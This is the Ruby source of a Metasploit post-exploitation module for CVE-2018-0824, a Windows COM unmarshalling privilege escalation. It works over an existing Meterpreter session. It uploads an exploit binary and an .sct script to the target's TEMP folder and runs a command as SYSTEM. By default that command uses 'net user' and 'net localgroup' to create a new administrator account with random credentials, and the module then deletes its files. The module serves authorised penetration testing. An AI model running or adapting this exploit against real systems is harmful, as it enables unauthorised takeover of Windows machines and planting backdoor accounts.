# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Version

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows unmarshal post exploitation',
        'Description' => %q{
          This module exploits a local privilege escalation bug which exists
          in Microsoft COM for Windows when it fails to properly handle serialized objects.
        },
        'References' => [
          ['CVE', '2018-0824'],
          ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824'],
          ['URL', 'https://github.com/x73x61x6ex6ax61x79/UnmarshalPwn'],
          ['EDB', '44906']
        ],
        'Author' => [
          'Nicolas Joly', # Vulnerability discovery
          'Matthias Kaiser', # Exploit PoC
          'Sanjay Gondaliya', # Modified PoC
          'Pratik Shah <pratik@notsosecure.com>' # Metasploit module
        ],
        'DisclosureDate' => '2018-08-05',
        'Platform' => ['win'],
        'Arch' => ARCH_X64,
        'License' => MSF_LICENSE,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptString.new('COMMAND',
                      [false, 'The command to execute as SYSTEM (Can only be a cmd.exe builtin or Windows binary, (net user /add %RAND% %RAND% & net localgroup administrators /add <user>).', nil]),
        OptString.new('EXPLOIT_NAME',
                      [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
        OptString.new('SCRIPT_NAME',
                      [false, 'The filename to use for the COM script file (%RAND% by default).', nil]),
        OptString.new('PATH',
                      [false, 'Path to write binaries (%TEMP% by default).', nil]),
      ]
    )
  end

  def setup
    super
    validate_active_host
    @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..13)
    @script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha(6..13)
    @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
    @script_name = "#{script_name}.sct" unless script_name.match(/\.sct$/i)
    @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
    @exploit_path = "#{temp_path}\\#{exploit_name}"
    @script_path = "#{temp_path}\\#{script_name}"
  end

  def populate_command
    username = Rex::Text.rand_text_alpha(6..13)
    password = Rex::Text.rand_text_alpha(6..13)
    print_status("username = #{username}, password = #{password}")
    cmd_to_run = 'net user /add ' + username + ' ' + password
    cmd_to_run += '  & net localgroup administrators /add ' + username
    print_status(cmd_to_run)
    return cmd_to_run
  end

  def validate_active_host
    print_status("Attempting to Run on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
  rescue Rex::Post::Meterpreter::RequestError => e
    elog(e)
    raise Msf::Exploit::Failed, 'Could not connect to session'
  end

  def validate_remote_path(path)
    unless directory?(path)
      fail_with(Failure::Unreachable, "#{path} does not exist on the target")
    end
  end

  def validate_target
    if sysinfo['Architecture'] == ARCH_X86
      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end
    version = get_version_info
    unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win10_1803)
      fail_with(Failure::Unknown, 'The exploit does not support this OS')
    end
  end

  def ensure_clean_destination(path)
    if file?(path)
      print_status("#{path} already exists on the target. Deleting...")
      begin
        file_rm(path)
        print_status("Deleted #{path}")
      rescue Rex::Post::Meterpreter::RequestError => e
        elog(e)
        print_error("Unable to delete #{path}")
      end
    end
  end

  def upload_exploit
    local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'UnmarshalPwn.exe')
    upload_file(exploit_path, local_exploit_path)
    print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
  end

  def upload_script(cmd_to_run)
    vprint_status("Creating the sct file with command #{cmd_to_run}")
    local_script_template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'script_template')
    script_template_data = ::IO.read(local_script_template_path)
    vprint_status("script_template_data.length =  #{script_template_data.length}")
    full_command = 'cmd.exe /c ' + cmd_to_run
    script_data = script_template_data.sub!('SCRIPTED_COMMAND', full_command)

    if script_data.nil?
      fail_with(Failure::BadConfig, 'Failed to substitute command in script_template')
    end

    vprint_status("Writing #{script_data.length} bytes to #{script_path} to target")
    write_file(script_path, script_data)
    vprint_status('Script uploaded successfully')
  end

  def run
    if datastore['COMMAND'].nil?
      cmd_to_run = populate_command
    else
      cmd_to_run = datastore['COMMAND']
    end
    print_status("exploit path is: #{exploit_path}")
    print_status("script path is: #{script_path}")
    print_status("command is: #{cmd_to_run}")
    begin
      validate_active_host
      validate_target
      validate_remote_path(temp_path)
      ensure_clean_destination(exploit_path)
      ensure_clean_destination(script_path)
      vprint_status("Uploading Script to #{script_path}")
      upload_script(cmd_to_run)
      vprint_status("Uploading Exploit to #{exploit_path}")
      upload_exploit
      vprint_status('Launching Exploit...')
      command_output = cmd_exec(exploit_path + ' ' + script_path)
      vprint_status(command_output)
      print_good('Exploit Completed')
      ensure_clean_destination(exploit_path)
      ensure_clean_destination(script_path)
    rescue Rex::Post::Meterpreter::RequestError => e
      elog('Command failed, cleaning up', error: e)
      print_good('Command failed, cleaning up')
      print_error(e.message)
      ensure_clean_destination(exploit_path)
      ensure_clean_destination(script_path)
    end
  end
  attr_reader :exploit_name, :script_name, :temp_path, :exploit_path, :script_path
end
